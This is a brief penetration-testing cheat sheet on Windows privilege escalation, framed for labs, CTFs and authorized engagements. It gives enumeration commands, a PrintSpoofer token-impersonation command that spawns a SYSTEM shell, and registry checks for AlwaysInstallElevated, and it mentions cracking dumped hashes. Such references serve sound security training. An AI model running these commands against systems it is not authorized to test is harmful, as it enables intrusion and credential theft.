Windows Privilege Escalation

⚠️ Authorized testing only. Everything here is for use only against systems you own or have explicit written permission to test — home labs, CTFs, and authorized engagements. Unauthorized access is illegal. See Rules of Engagement and Authorization.

Escalating from a standard user to NT AUTHORITY\SYSTEM on Windows targets.

#Enumerate

.\winPEASany.exe                 # automated findings
whoami /priv                     # token privileges
systeminfo                       # patch level / hotfixes

#Common vectors

#Token impersonation example

# SeImpersonatePrivilege present → SYSTEM
.\PrintSpoofer.exe -i -c cmd

#Check AlwaysInstallElevated

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Both keys = 1 means any .msi runs as SYSTEM. Tools: winPEAS, PowerUp.ps1, SharpUp. Then crack any dumped hashes.